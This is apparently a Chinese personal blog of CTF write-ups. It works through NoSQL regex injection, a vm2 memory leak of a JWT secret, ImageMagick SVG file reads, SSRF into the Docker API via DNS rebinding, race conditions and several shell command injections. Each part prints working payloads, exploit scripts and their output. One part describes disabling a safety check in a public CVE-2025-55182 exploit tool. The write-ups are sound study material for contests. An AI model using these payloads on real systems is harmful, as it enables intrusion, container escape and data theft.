小游戏 on Fish Site

AAA26

Fri, 29 May 2026 16:48:35 +0800

ACTF AAA'26

算是被误导了吧，梭出来了reviewer和ImageMagick，但是中间ai一直在想vm2的RCE，但实际上只需要泄漏密钥就可以，方向错了，觉得自己挺蠢的，本身就是ai做的，也算不上可惜吧

题目分三个阶段，前两个阶段都是利用当前身份的能力提权，最后是用imagemagick读取本地文件

MongoDB 盲注爆邀请码

感觉第一阶段的难点不是想到用正则匹配前缀，而是读懂业务逻辑，知道系统接收什么样的json，要注的字段在哪里，看这个题目，要是这个json结构是学术界公用的当我没说，但是这里面好多涉及论文系统的专用字段和信息我都不知道是什么东西，本身对这个数据库也不熟悉，看的时候很折磨

接下来我只贴一些关键的代码

恶意代码入库

app.post(
  "/reviewer/profile",
  { preHandler: auth.authenticate },
  async (request, reply) => {
    try {
      const profile = await readReviewerProfile(request); // NOTE: 没有做具体的内容检查
      const result = await saveReviewerProfile(request.user.id, profile); // VULN: 任意json代码保存入库
      return renderReviewerProfile(request, reply, {
        message: result.serviceRecord
          ? "Reviewer profile saved. Service record queued for committee sync."
          : "Reviewer profile saved.",
      });
    } catch {
      return renderReviewerProfile(request, reply, {
        error: "Reviewer profile could not be imported.",
      });
    }
  },
);

async function saveReviewerProfile(userId, profile) {
  const { users } = collections();
  const id = new ObjectId(userId);
  const existing = await users.findOne({ _id: id });
  const existingProfile =
    existing && existing.reviewerProfile ? existing.reviewerProfile : {};
  const serviceRecord = await saveReviewerServiceRecord(userId, profile); // VULN: 保存细节，返回json
  const nextStatus = // NOTE: 下面的代码涉及上传的几个状态，影响脚本写法，但不是漏洞点
    existingProfile.status === "Submitted"
      ? "Submitted"
      : serviceRecord
        ? "Service Record Imported"
        : "Draft";

  const set = {
    "reviewerProfile.status": nextStatus,
    "reviewerProfile.draft": profile.draft,
    "reviewerProfile.updatedAt": new Date(),
  };

  if (serviceRecord) {
    set["reviewerProfile.serviceRecordSummary"] = serviceRecord.summary;
  }

  await users.updateOne({ _id: id }, { $set: set });
  return { serviceRecord, status: nextStatus };
}

async function saveReviewerServiceRecord(userId, profile) {
  if (!profile.imported) return null;

  const { reviewerServiceRecords } = collections();
  const now = new Date();
  const record = {
    userId: new ObjectId(userId),
    retainedMetadata: profile.imported, // VULN: 原始数据直接入库
    summary: summarizeServiceRecord(profile.imported, profile.importedFilename),
    createdAt: now,
  };

  await reviewerServiceRecords.insertOne(record); // NOTE: 插入reviewerServiceRecords，其中retainedMetadata完全可控
  return record;
}

恶意代码触发

app.post(
  "/reviewer/profile/service-sync",
  { preHandler: auth.authenticate },
  async (request, reply) => {
    const result = await syncReviewerServiceSlot(request.user.id); // VULN: sync会去匹配你的恶意代码
    return renderReviewerProfile(request, reply, { message: result.message });
  },
);

async function syncReviewerServiceSlot(userId) {
  const { users, reviewerInvites, reviewerRubrics } = collections();
  const id = new ObjectId(userId);
  const user = await users.findOne({ _id: id });
  const profile = user && user.reviewerProfile;
  const submitted = profile && profile.submitted;
  const latestRecord = await latestReviewerServiceRecord(userId);
  const now = new Date();

  if (!submitted || profile.status !== "Submitted") {
    return {
      matched: false,
      message: "Submit the reviewer profile before committee sync.",
    };
  }

  const rubric = await reviewerRubrics.findOne({
    active: true,
    track: submitted.track,
  });
  const packet = buildServiceDeskPacket(latestRecord, rubric); // VULN: slotValue是自定义的
  const slotQuery = rubric
    ? assignmentSlotQuery(submitted, rubric, packet)
    : null;
  let matched = false;

  if (rubric && slotQuery) {
    const invite = await reviewerInvites.findOne(slotQuery); // VULN: 查询语句
    matched = Boolean(invite && submittedProfileMeetsRubric(submitted, rubric));
  }

  const sync = {
    status: matched ? "matched" : "waiting",
    message: matched
      ? "Committee service desk has an available assignment slot."
      : "Committee service desk has not found an assignment slot yet.",
    recordId: packet ? packet.recordId : latestRecord ? latestRecord._id : null,
    updatedAt: now,
  };

  await users.updateOne(
    { _id: id },
    {
      $set: {
        "reviewerProfile.serviceSync": sync,
        "reviewerProfile.serviceRecordSummary": latestRecord
          ? latestRecord.summary
          : null,
      },
    },
  );
  await recordServiceDeskSync(user, submitted, latestRecord, rubric, sync);

  return { matched, message: sync.message };
}

await reviewerRubrics.updateOne(
  //NOTE: 数据库reviewerRubrics信息
  { rubricId: "big1-overflow-systems" },
  {
    $setOnInsert: {
      rubricId: "big1-overflow-systems",
      track: "systems",
      active: true,
      portfolioSeal: crypto.randomBytes(16).toString("hex"),
      serviceDesk: {
        queue: "overflow",
        externalKey: "overflowReference",
        credential: "invitation",
      },
      requiredAreas: ["systems", "review process", "artifact sanity"],
      minimumScore: 37,
      labels: ["TBD logistics", "baseline realism", "committee stamina"],
      createdAt: new Date(),
    },
  },
  { upsert: true },
);

const SERVICE_DESK_FIELDS = {
  overflowReference: ["committee", "registration", "reference"],
  season: ["committee", "registration", "season"],
  desk: ["committee", "desk"],
};

function buildServiceDeskPacket(record, rubric) {
  if (!record || !rubric) return null;

  const policy = serviceDeskPolicy(rubric);
  const fieldPath = SERVICE_DESK_FIELDS[policy.externalKey]; // NOTE: committee.registration.reference
  if (!fieldPath) return null;

  return {
    queue: policy.queue,
    slotField:
      SERVICE_DESK_CREDENTIALS[policy.credential] ||
      SERVICE_DESK_CREDENTIALS.invitation,
    slotValue: valueAtPath(record.retainedMetadata, fieldPath), // VULN: 找committee.registration.reference的值塞进slotValue
    recordId: record._id,
  };
}

function assignmentSlotQuery(submitted, rubric, packet) {
  // NOTE: 组查询语句
  if (!packet || packet.slotValue === undefined) return null;

  return {
    used: false,
    track: submitted.track, //  NOTE: system
    kind: packet.queue, // NOTE: overflow
    rubricId: rubric.rubricId,
    [packet.slotField]: packet.slotValue, // NOTE: code: 自定义
  };
}

总结一下就是，我们可以用/reviewer/profile传一个json文件，其中committee.registration.reference的值会拿去查邀请信息看有没有对应的注册码，但这个查询是可以用正则匹配前缀的，所以可以传这样一个文件来爆破邀请码

{
  "committee": {
    "registration": {
      "reference": {
        "$regex": "^0[0-9a-f]{35}$"
      }
    }
  }
}

要写脚本的话还要看其他的状态逻辑，这里就不看了，总之现在拿到了邀请吗有reviewer身份了

vm2 前缀匹配侧信道爆jwt密钥

app.post(
  "/reviewer/search",
  { preHandler: auth.requireRole("reviewer") },
  async (request, reply) => {
    const expression = String(request.body.expression || "");
    try {
      const docs = await filterReviewerDocuments(app, request, expression); //NOTE: 依旧代码审计
      return render(request, reply, "reviewer/search.ejs", {
        expression,
        docs,
        filtered: true,
      });
    } catch {
      return render(request, reply, "reviewer/search.ejs", {
        expression,
        docs: [],
        filtered: true,
        error: "Filter rejected.",
      });
    }
  },
);

function runExpression(source, item, timeout = 1250) {
  const vm = new VM({
    timeout,
    sandbox: { item },
  });

  return !!vm.run(source);
}

function runReviewerExpression(expression, item) {
  if (
    typeof expression !== "string" ||
    expression.length === 0 ||
    expression.length > 4096
  ) {
    throw new Error("invalid expression");
  }

  const source = `
    const paper = item.paper;
    const review = item.review;
    const reviewer = item.reviewer;
    const scores = item.scores;
    Boolean((() => (${expression}))())
  `;

  return runExpression(source, item);
}

async function filterReviewerDocuments(app, request, expression) {
  const token = getBearerOrCookie(request);
  const docs = await reviewerDocuments(request.user);
  const verified = await app.jwt.verify(token); //NOTE: 这里验证jwt用到了密钥，会出现在内存里面
  if (
    !verified ||
    verified.id !== request.user.id ||
    verified.role !== request.user.role
  ) {
    throw new Error("invalid token");
  }

  const matches = [];

  for (const item of docs) {
    if (runReviewerExpression(expression, filterView(item))) {
      matches.push(item);
    }
  }

  return matches;
}

这个部分我一直以为是rce，但其实我知道这里的目的本来就是提权到admin，如果我当时有自己读代码的话应该不至于让ai被误导，exp如下

(() => {
  const slab = Buffer.from(Buffer.from("a").buffer).toString("latin1");
  return /aaa26_[0-9a-f]{48}/.test(slab);
})();

这里先是用 Buffer.from("a") 创建一个只包含一个字节 a 的小 Buffer，但是 Node 为了性能，不会每次创建一个小 Buffer 都单独向系统申请一块刚刚好的内存，而是会提前准备一块比较大的内存池slab，然后很多小 Buffer 都从这块大内存里切一小片出来。 Buffer.from("a").buffer 拿到的是它背后的整个 ArrayBuffer，而Buffer.from(Buffer.from("a").buffer) 就是把 a 背后的整块大内存池重新包装成 Buffer，之后再转化成字符串，其中包含jwt处理会用到的密钥

得到密钥之后就可以伪造admin身份了

imagemagick + xml 本地读取文件

有了admin之后，可以接受论文，回到论文作者账号可以上传完整的pdf文件，还贴心告诉你他们后台会自动生成缩略图

最后一步思路就是：上传 SVG 内容，后台保存成 .pdf 后交给 ImageMagick；ImageMagick 按内容识别成 SVG，再解析里面的 text:/flag，把 /flag 的文本渲染进缩略图。

具体上传的就是，需要不停裁剪找尺寸

<svg width="480" height="150">
  <rect width="480" height="150" fill="white"/>
  <svg x="0" y="38" width="480" height="112" viewBox="20 24 560 70" preserveAspectRatio="xMinYMin meet">
    <image href="text:/flag" xlink:href="text:/flag" x="0" y="0" width="612" height="792"/>
  </svg>
  <text x="18" y="30" font-size="18" fill="black">AAA'26 Big-1 Camera Ready</text>
</svg>

碎碎念

最近发生了很多事情啊

SU2026_uri

Fri, 24 Apr 2026 20:20:53 +0800

SUCTF2026_uri 题目复现

docker api 逃逸

docker环境搭建的相关配置

这道题目里的 Docker 环境开启了多个极其危险的配置，这些配置组合在一起，直接构成了“SSRF → 接管宿主机 Docker → 读取 Flag”的完整利用链。

1：挂载 `/var/run/docker.sock`

docker-compose.yml：

1
2

volumes:
  - /var/run/docker.sock:/var/run/docker.sock

/var/run/docker.sock 是 Docker 守护进程（Docker Daemon）的 Unix 域套接字，是 Docker 的“本地控制中枢”。

正常用途：让容器内的 Docker CLI 能直接控制宿主机的 Docker（比如 Docker-in-Docker 场景）。
在题目里：容器内的进程（包括被 SSRF 利用的请求）可以直接和宿主机的 Docker 守护进程通信。
只要能访问这个套接字，就可以执行任意 Docker 操作：创建容器、删除容器、挂载宿主机目录、甚至在宿主机上执行命令。

2：socat 代理 Docker API 到 `127.0.0.1:2375`

entrypoint.sh：

`1`	`socat TCP-LISTEN:2375,bind=127.0.0.1,reuseaddr,fork UNIX-CONNECT:/var/run/docker.sock &`

把 Unix 域套接字 /var/run/docker.sock 桥接成 TCP 端口 127.0.0.1:2375。

正常用途：让容器内的程序可以通过 HTTP API 访问 Docker，而不用直接读写 Unix 套接字（更方便）。
在题目里：给 SSRF 利用提供了完美的攻击面——因为 Webhook 转发就是发 HTTP 请求，刚好可以用来访问 127.0.0.1:2375。

这个设置把“Docker 套接字的权限”转化成了“HTTP API 的可访问性”：

原本 SSRF 很难直接利用 Unix 域套接字（需要特殊协议支持）；
现在变成了标准的 HTTP API，SSRF 可以直接发请求，利用门槛大幅降低。

docker api利用链

挂载 /var/run/docker.sock → 容器能控制宿主机 Docker
socat 代理到 127.0.0.1:2375 → SSRF 可以通过 HTTP 访问 Docker API

代码审计

这个题目代码本身还是很浅显易懂的，主程序main.go写了一个web服务定义了/api/webhook路由，设置了一系列检查，要求：

方法用POST
json 没有语法错误
target url不为空
url通过自定义的waf：
- 符合url规范
- 只允许http和https
- 域名禁localhost和``(空)
- dns解析的ip符合规范且不在黑名单内部，如果存在IPv4-mapped IPv6 地址，还原成IPv4，(这里第一次查了ip，rebinging服务正常返回信息)

满足以上要求之后，代码会sleep 2秒，之后才正式开始进行post操作，但这个时候已经过了2秒了，不过他有没有缓存都是一个非常适合恶意ttl发挥作用的时机，可以控制dns服务器给这个具体干活的请求发一个本地127.0.0.1的ip,来实现ssrf，这里放了两个检查，只要dns服务器那边设置的正确，你不用做什么操作，就可以实现ssrf

dns-rebind

细节见另一篇博客

docker api利用细节

当我们可以通过api控制docker的时候，如果想要执行你想要的已经存在的脚本，只需要下面几个curl命令

# docker pull alpine:latest
$ curl -k https://ctf.pencilfishdaydream.fun/api/webhook \
            -H "Content-Type: application/json" \
            -d '{
          "url": "http://a6.rebind.pencilfishdaydream.fun:2375/images/create?fromImage=alpine:latest",
          "body": "{}"
        }'
{"message":"forwarded","target_status":200,"target_body":"{\"status\":\"Pulling from library/alpine\",\"id\":\"latest\"}\r\n{\"status\":\"Digest: sha256:21a3deaa0d32a8057914f36584b5288d2e5ecc984380bc0118285c70fa8c9300\"}\r\n{\"status\":\"Status: Image is up to date for alpine:latest\"}\r\n"}

# docker create -v /:/mnt alpine:latest /bin/sh -c "/mnt/readflag"
$ curl -k https://ctf.pencilfishdaydream.fun/api/webhook \
            -H "Content-Type: application/json" \
            -d '{
          "url": "http://a7.rebind.pencilfishdaydream.fun:2375/containers/create",
          "body": "{\"Image\":\"alpine:latest\",\"Cmd\":[\"/bin/sh\",\"-c\",\"/mnt/readflag\"],\"HostConfig\":{\"Binds\":[\"/:/mnt\"]}}"
        }'
{"message":"forwarded","target_status":201,"target_body":"{\"Id\":\"a3cb872a7e34f79607473a9b7f76e9328e1f7524bd0f5c903c892a91af46617d\",\"Warnings\":[]}\n"}

# docker start container-id
$ curl -k https://ctf.pencilfishdaydream.fun/api/webhook \
            -H "Content-Type: application/json" \
            -d '{
          "url": "http://a8.rebind.pencilfishdaydream.fun:2375/containers/a3cb872a7e34f79607473a9b7f76e9328e1f7524bd0f5c903c892a91af46617d/start",
          "body": "{}"
        }'
{"message":"forwarded","target_status":204}

# docker logs container-id
$ curl -k https://ctf.pencilfishdaydream.fun/api/webhook \
            -H "Content-Type: application/json" \
            -d '{
          "url": "http://a9.rebind.pencilfishdaydream.fun:2375/containers/a3cb872a7e34f79607473a9b7f76e9328e1f7524bd0f5c903c892a91af46617d/attach?logs=1&stream=0&stdout=1&stderr=1",
          "body": "{}"
        }'
{"message":"forwarded","target_status":200,"target_body":"\u0001\u0000\u0000\u0000\u0000\u0000\u0000'SUCTF{SsRF_tO_rC3_by_d0CkEr_15_s0_FUn}\n"}

闲话

这几天听了一些东方同人曲，让我对音乐二创的有了完全不一样的认知

nu1l junior web WP

Wed, 28 Jan 2026 10:47:43 +0800

n1j wp

感觉题比我想象的简单，但是也暴露了很多问题，只写出来四道题，有一道简单的题因为基础不好卡了太久，不然还能挑战一下压轴

bun

体验了一次一血

这个题目是一号位，一开始写的就是他，题眼也比较明显，就第一个出了

这个题目里面，登陆逻辑被拆成了两份，用户名和密码通过前端生成的随机session为纽带分开提交，通过源码得知我们有两个用户admin和guest

题目在得到前端发来的guest密码之后会await挂起，过一段时间返回guest用户密码匹配的认证结果，如果在这个时间间隙在申请同一个session的用户名匹配请求（同步的）覆盖变量里面记录的guest为admin，guest认证通过的结果就会记录到admin上， await结束得到admin权限

得到admin之后需要绕开限制执行rce,bun的设计输入shell的内容会被转义，但是留了个开发用的后门可以按原字符拼接进去

这个竞争状态卡的时间非常死，脚本是ai提供的，用了http长连接+多线程来提高成功率

import requests
import threading
import time
import urllib3

TARGET = "http://60.205.163.215:45502/"
SESSION_ID = "script_race_v8"

s_verify = requests.Session()
s_init = requests.Session()

def attack_attempt(attempt_id):
    try:
        s_init.post(f"{TARGET}/api/auth/init", json={
            "sessionId": SESSION_ID,
            "username": "guest"
        }, timeout=3)
    except:
        return False, None

    def do_verify():
        try:
            s_verify.post(f"{TARGET}/api/auth/verify", json={
                "sessionId": SESSION_ID,
                "password": "guest"
            }, timeout=3)
        except:
            pass

    def do_switch_admin():
        try:
            s_init.post(f"{TARGET}/api/auth/init", json={
                "sessionId": SESSION_ID,
                "username": "admin"
            }, timeout=3)
        except:
            pass

    t_v = threading.Thread(target=do_verify)
    t_i = threading.Thread(target=do_switch_admin)

    t_v.start()
    # time.sleep(0.005)
    t_i.start()

    t_v.join()
    t_i.join()

    try:
        res = requests.get(f"{TARGET}/api/user/me?sessionId={SESSION_ID}", timeout=2)
        if "admin" in res.text:
            return True, res.text
    except:
        pass

    return False, None

print(f"[*] Targeting: {TARGET}")
print("[*] 开始多线程长连接攻击...")

success = False
for i in range(1, 1001):
    is_success, data = attack_attempt(i)
    if is_success:
        print(f"\n\n[SUCCESS] 第 {i} 次尝试成功！")
        print(f"User Info: {data}")
        success = True
        break
    else:
        print(f"\r[-] Attempt {i} failed...", end="")

if success:
    print("\n[*] 执行 RCE...")
    try:
        res = requests.post(
            f"{TARGET}/api/admin/diagnose?sessionId={SESSION_ID}",
            json={"tool": "uptime", "target": {"raw": "; env"}},
            timeout=5
        )
        print(res.text)
    except Exception as e:
        print(e)

执行结果：

[*] Targeting: http://60.205.163.215:45502/
[*] 开始多线程长连接攻击...
[-] Attempt 11 failed...

[SUCCESS] 第 12 次尝试成功！
User Info: {"username":"admin","role":"admin","secret":"System Access Granted"}

[*] 执行 RCE...
{"output":" 11:37:25 up 19 min,  0 users,  load average: 0.00, 0.00, 0.00\nKUBERNETES_SERVICE_PORT=6443\nKUBERNETES_PORT=tcp://192.168.0.1:443\nHOSTNAME=t105717349121812087-comp-bundle-1124084497651077609vv9z\nBUN_INSTALL_BIN=/usr/local/bin\nECI_CONTAINER_TYPE=normal\nSHLVL=1\nPORT=3000\nHOME=/root\naliyun_log_crd_user_defined_id=k8s-group-c2e91cace63644627963a8b671e2fed0c\nKUBERNETES_PORT_443_TCP_ADDR=192.168.0.1\nPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/bun-node-fallback-bin\nKUBERNETES_PORT_443_TCP_PORT=443\nKUBERNETES_PORT_443_TCP_PROTO=tcp\nKUBERNETES_SERVICE_PORT_HTTPS=6443\nKUBERNETES_PORT_443_TCP=tcp://192.168.0.1:443\nKUBERNETES_SERVICE_HOST=apiserver.c2e91cace63644627963a8b671e2fed0c.cn-beijing.cs.aliyuncs.com\nPWD=/app\nNODE_ENV=production\nFLAG=flag{18b076f1-fd7f-4124-92e3-2dbf686d3cd2}\nBUN_RUNTIME_TRANSPILER_CACHE_PATH=0\n"}

addr

签到题

怎么说呢，我开始没好好看代码，用假密钥伪造session之后就一直折腾绕过方法，然后发现源码给的密钥和线上的不一样，就惯性思维想着爆破或者其他什么手段搞到密钥，结果折腾半天还是绕过这个要绕过这个admin的判定

伪造身份

用户名输入 Admın unicode 绕过

>>> c = 'Admın'
>>> c.upper()
'ADMIN'
>>> c.lower()
'admın'

这里登陆上去后端已经过了可以执行命令，但是前段的检测过不了，一开始还以为失败了

cmdi

去搜一下这个ipaddress发现如下设定

Optionally, the string may also have a scope zone ID, expressed with a suffix %scope_id. If present, the scope ID must be non-empty, and may not contain %. See RFC 4007 for details. For example, fe80::1234%1 might identify address fe80::1234 on the first link of the node.

使用如下代码可以把拼接的命令伪装成Ipv6的zone ID,这部分的检查松一些 ::1%;cd ..;cat flag

next_waf

只是next+waf

有大佬用go写了个利用cvE-2025-55182的exp工具，里面有绕过waf的功能，我之前还想着正常有漏洞就直接更新了，怎么会有人在漏洞上加waf让你绕呢

工具里面有防止攻击中国ip的检测，把pkg/utils/security.go的CheckSecurity函数的return false改成true，再把弹窗删掉就行了

pacman

绕了好大一圈

这个题的文件我给删了,只能靠记忆复盘了

这个题目中间有一个非常奇怪的写法,把一个可以直接赋值的变量中间塞了一步邮箱解析，这个解析的判定也很宽泛就造成的混淆的空间

一开始主要盯上了下面这段代码

1
2

const len = parsed.length;
const senderEntry = parsed[len - 1];

这个部分的功能应该是把解析出来的用户设置为sendEntry,但是实际的效果是把所有解析出来的用户的最后一个设置为用户，感觉就是要在一个判定里面设置两个用户来绕过检测，我构造了下面这个payload

const addressparser = require("./addressparser");

const user = ") test@test ; Adm()inistrator a()dmin@adm()in.com (";
const email = `${user}@test.com`;

const rawFrom = `${user} <${email}>`;
const parsed = addressparser(rawFrom);
console.log(parsed);

const len = parsed.length;
const senderEntry = parsed[len - 1];
console.log(senderEntry);

解析出来得到

[
  { address: 'test@test', name: ')' },
  { address: 'test@test', name: 'Administrator admin@admin.com' },
  { address: 'admin@admin.com', name: 'Administrator' }
]
{ address: 'admin@admin.com', name: 'Administrator' }

但是后面的没法办了，最后还是用%00直接绕过的，根本没用len - 1 的逻辑，事后联系出题人才知道这个东西是为了防止非预期的，不是重点（

curl -X POST http://60.205.163.215:38301/register \
            -H "Content-Type: application/x-www-form-urlencoded" \
            -d "username=Ad%00ministrator%09adm%00in@adm%00in.com(&password=123" \
            -c cookies.txt


curl -X POST http://60.205.163.215:38301/send \
            -H "Content-Type: application/x-www-form-urlencoded" \
            -d "recipientUsername=test&subject=desuwa&content=desuwa" \
            -b cookies.txt

闲话

这次比赛题目本身不难，但是有两道简单题目的绕过因为见识太少没有想到用，耽误了很多时间，感觉自己还是需要多做题，涨涨见识啊之前期末一直比较忙，打的一些比赛也没有记录，我看有些师傅一天几更，希望也能坚持记录吧

n1j web 练习

Mon, 08 Dec 2025 23:17:13 +0800

unzip

这个题flag名是随机的，一般的zip相关的文件读取就没办法用，但是这个题目中也给了很清楚的进攻路线:

#  已知的secret key
app.secret_key = os.environ.get("FLASK_SECRET_KEY", "test_key")

@app.route("/upload", methods=["GET", "POST"])
def upload():
      #  如果role是admin可以自定义上传的文件夹名
        role = session["role"]

        if role == "admin":
            dirname = request.form.get("dirname") or str(uuid.uuid4())

      #  文件夹名可以做到命令注入
        target_dir = os.path.join(UPLOAD_FOLDER, dirname)
        os.makedirs(target_dir, exist_ok=True)

        zip_path = os.path.join(target_dir, "upload.zip")
        file.save(zip_path)

        try:
            os.system(f"unzip -o {zip_path} -d {target_dir}")

那就是用题目已知的secret key伪装成admin，进行命令注入，脚本如下：

参考脚本:

import requests
import io
import zipfile
import flask
from flask.sessions import SecureCookieSessionInterface

TARGET_URL = "http://127.0.0.1:5000"
SECRET_KEY = "test"

def generate_admin_cookie():
    """生成伪造的 Admin Session"""
    app = flask.Flask(__name__)
    app.secret_key = SECRET_KEY
    session_interface = SecureCookieSessionInterface()
    serializer = session_interface.get_signing_serializer(app)

    # 构造 Admin 身份
    session_payload = {"username": "hacker", "role": "admin"}

    # 签名 Cookie
    cookie_val = serializer.dumps(session_payload)
    return cookie_val

def create_dummy_zip():
    """在内存中创建一个合法的空 ZIP 文件"""
    b = io.BytesIO()
    with zipfile.ZipFile(b, 'w') as zf:
        zf.writestr('test.txt', 'hello')
    b.seek(0)
    return b

def exploit():
    # 1. 获取伪造的 Admin Cookie
    session_cookie = generate_admin_cookie()
    print(f"[*] 伪造 Cookie: {session_cookie[:20]}...")

    cookies = {"session": session_cookie}

    # 2. 构造 Payload
    exploit_dir_name = "hack; mkdir -p /app/uploads/hack; cat /flag* > /app/uploads/hack/flag.txt"

    print("[*] 正在发送 Payload...")

    # 3. 发送 POST 请求 (相当于上传文件)
    files = {
        'file': ('exploit.zip', create_dummy_zip(), 'application/zip')
    }
    data = {
        'dirname': exploit_dir_name
    }

    try:
        res = requests.post(
            f"{TARGET_URL}/upload",
            cookies=cookies,
            files=files,
            data=data,
            timeout=5
        )
    except Exception as e:
        print(f"[-] 上传请求异常 (可能是命令执行导致的超时，属正常现象): {e}")

    # 4. 尝试下载 Flag
    print("[*] 正在尝试下载 Flag...")
    flag_url = f"{TARGET_URL}/download/hack/flag.txt"

    try:
        res = requests.get(flag_url, cookies=cookies)
        if res.status_code == 200:
            print("\n" + "="*20 + " SUCCESS " + "="*20)
            print(f"Flag 成功获取: \n{res.text.strip()}")
            print("="*49)
        else:
            print(f"[-] 获取失败，状态码: {res.status_code}")
            print(f"[-] 响应内容: {res.text[:100]}")
    except Exception as e:
        print(f"[-] 下载请求失败: {e}")

if __name__ == "__main__":
    exploit()

ping

搜索能力有待提升

这个题目写了一个非常饱和的防御，相当于告诉你别看这里了，而且饶了一大圈逻辑就是为了用个base64，检查的是py解码版的ip，执行的是shell解码的版本。第一次这么觉得ctf比赛就是为了一碟醋包的饺子,感觉从认证层面变强了一点点🤏

之后就是考验搜索能力了，因为这个性质挺隐蔽的，这次依赖ai完全不行，一下就暴露出一直以来ai的痛点了。

回到这个题，一开始想的这种东西解析差异也就只能在空格和换行的处理上，比如py解析出两行但是只读取第一行，shell可以直接执行两行的命令，感觉linux为这种文本细节的处理还是做了很多文章的，sh也有这方面的文章，（实际上这个题目和sh没什么关系） ,当时搞了半天都不行，直接google也完全没线索，ai也胡言乱语，折腾了半天最后就是去看官方文档了

gnu的文档和–help写的东西差不多，但是py文档中提到了一个严格模式，跟着他走会发现他对有效base64的定义

严格模式不包含冗余数据那默认模式就包含

1
2
3

>>> import base64
>>>  base64.b64decode('MQ==O2xzCg==')
b'1'

结果发现这个包含的意思是不打理他，然后发现gnu可以

1
2

echo 'MQ==O2xzCg==' | base64 -d
1;ls

这谁想的到呀

1
2
3

curl -X POST http://127.0.0.1:5000/ping \
               -H "Content-Type: application/json" \
               -d '{"ip_base64": "MC4wLjAuMA==O2NhdCAvZmxhZw=="}'

gavatar

ai把我养的这么好导致我经常会因为我的代码能力和搜索能力而焦虑

题目里面有很多作者的堵死getshell的小巧思，但是我给ai代码之后，他只从rce和 $image = @file_get_contents($url); 就直接给我锁定到了一个cve，感觉太强了

因为专门给了一个下载网上图片的通道，所以还是比较容易联想到可以用php伪协议读取普通文件的，但flag有权限要求,所以要找到升级成rce的方法

然后ai就直接把CVE-2024-2961扔给我了,这个东西是PWN的

我去读了一下这个博客大概了解到说是，使用了php伪协议在转码时会调用的底层库，它里面在转换的时候没有判断剩余的很缓存够不够用，而特殊字符在转换的时候会一次带进去3个字符导致溢出，通过读取/usr/lib/x86_64-linux-gnu/libc.so.6和 /proc/self/maps里面的信息计算出怎么能刚好覆盖掉一个free的工具，让他可以执行任意命令，在这个题目里面，你可以让他把/readflag的结果重定向到随便一个地方，之后自己去读。

但实际上这个东西别人有现呈的exp项目的，让ai改一改这个代码就能美美拿flag，毕竟不是我学习的领域，我也没特别深入学习

SEKAI ctf 复现

Mon, 08 Dec 2025 10:24:23 +0800

SEKAI CTF 复现

日本的ctf

my-flask-app-1

要学会从文档中找信息啊

题目进去的那个页面点到了也只是在浏览器的控制太输出一句点到了，确实没有用，但是挺有意思的

题目提供了文件读取的方法，但是不知道flag的位置，但是在app.py里提供了调试的条件，如果能触发debugger就可以获得一个python的交互环境

`1`	`app.run(host='0.0.0.0', port=5000, debug=True)`

原本是想通过引起错误触发debug比如1/0,但是一直成功不了，看WP知道了一个/console的冷门用法，官方文档如下：

Werkzeug 是一个独立通用的底层库，flask就是在他的基础上加了jinja2模板引擎组成的框架。另外一提，flask，jinja2和werkzeug都是一个人写的，叫Armin Ronacher，。

Flask Debugger其真实、底层的身份是一个名为 DebuggedApplication 的 Werkzeug 中间件,而这个中间件的参数中有一个console_path = '/console'的参数（其实直接扫目录也扫的出来）

进入这个页面其实这个题目就写出来一半了，后面就是需要一个验证码pin，这个pin码的逻辑就是把你的身份信息打包哈希一下取最后几个数，但是部分信息是不公开的，就需要题目提供的LFI读取需要的

mac地址存储在/sys/class/net/eth0/address
机器id 存储在/proc/sys/kernel/random/boot_id (boot_id 是Linux内核为每一次系统启动所生成的、独一无二的“会话身份证号”)

读到这两个信息可以写一个脚本用来得到pin，之后进入环境就可以执行命令了

RCTF2025-rootb 战败复盘

Thu, 20 Nov 2025 16:51:52 +0800

RCTF2025-rootb 战败复盘

第一次写提权题，像个无头苍蝇一样到处审代码审了两天，最后看WP复现就花了5分钟，人家WP写得还那么轻描淡写。感觉挫败感还是挺强的，努力变强吧…

碎碎念

虽然写这个题的那几天学了很多权限的知识，但是实际上我的方向和WP差距很大，现在想想主要有两个gap

第一，我发现sandbox在root组里面，这是一个非常让人有遐想空间的信息，如果是在一般的ctf里面那我觉得题目的出发点就在这里了，但这是一个成熟的商业应用，虽然这样写有一定风险，但不代表环境的漏洞就在这里

这个题目我的审查思路就是找同在root组里的文件看有没有操作空间，结果看了两天没有收获，但我忘了我是sandbox这个更基本的身份，sandbox下的文件不多，而且还有一个.so这样的敏感文件，虽然我当时研究过他半个小时，但是我当时主要是想看他有没有漏洞，而且根据之前的思维惯性还是盯着组权限，忘了我本身是对他有绝对控制权的（话说为什么要给用户.so文件绝对控制权啊😭）,看WP的时候才突然想起我可以改他，如果我当时发现我可以更改这个.so文件我肯定会追着他看的。

然后就是题目的第二个体现我思维盲区的点，（但这个点应该不会卡着我），我看WP得到这里的exp是通过看github更新日志，找到的，因为第一次挖应用级程序的洞这个确实没往这个方向去想

如果在最新的更新日志中搜索这个sandbox.so，可以直接锁定到这个更新，让后可以知道这个代码的可行性，但其实不知道也行，如果我知道这个.so文件可以更改，那我应该会先追踪一段时间这个文件的来龙去脉，但是就算我不知道这是干嘛的，能不能越权，我也肯定会往里面塞一个反弹shell的.so文件，从事后来看这个恶意程序是百分百触发的，之后的工作只是进一步佐证了这个exp的可行性

你说可惜吧，我的思路和这个wp中呈现的方向是完全背离的，不可惜吧，我觉得如果我当时意识到这个文件我可以改写的话，我只要闭着眼把反弹shell的.so文件塞进去，哪怕什么流程都不知道也能得到flag，不管怎么说，都是太菜了，继续努力吧

复现

因为这个题目是一个商业级的应用，如果完全扒他学到的更多是开发方面的东西，这里主要看看这个exp可行的原理，也就是更新之后，更新的这个sandbox.so是如何被触发以及如何执行提权的

先看更新发生的变化

@@ -188,6 +194,9 @@ exec({dedent(code)!a})
                     self.user,
                 ],
                 'cwd': self.sandbox_path,
+                'env': {
+                    'LD_PRELOAD': f'{self.sandbox_path}/sandbox.so',
+                },
                 'transport': 'stdio',
             }
         else:
@@ -204,6 +213,9 @@ exec({dedent(code)!a})
             file.write(_code)
             os.system(f"chown {self.user}:root {exec_python_file}")
         kwargs = {'cwd': BASE_DIR}
+        kwargs['env'] = {
+            'LD_PRELOAD': f'{self.sandbox_path}/sandbox.so',
+        }
         subprocess_result = subprocess.run(
             ['su', '-s', python_directory, '-c', "exec(open('" + exec_python_file + "').read())", self.user],
             text=True,

先分析以下代码：

1
2
3

+ 'env': {
+     'LD_PRELOAD': f'{self.sandbox_path}/sandbox.so',
+ },

设置了新进程的环境变量 LD_PRELOAD:

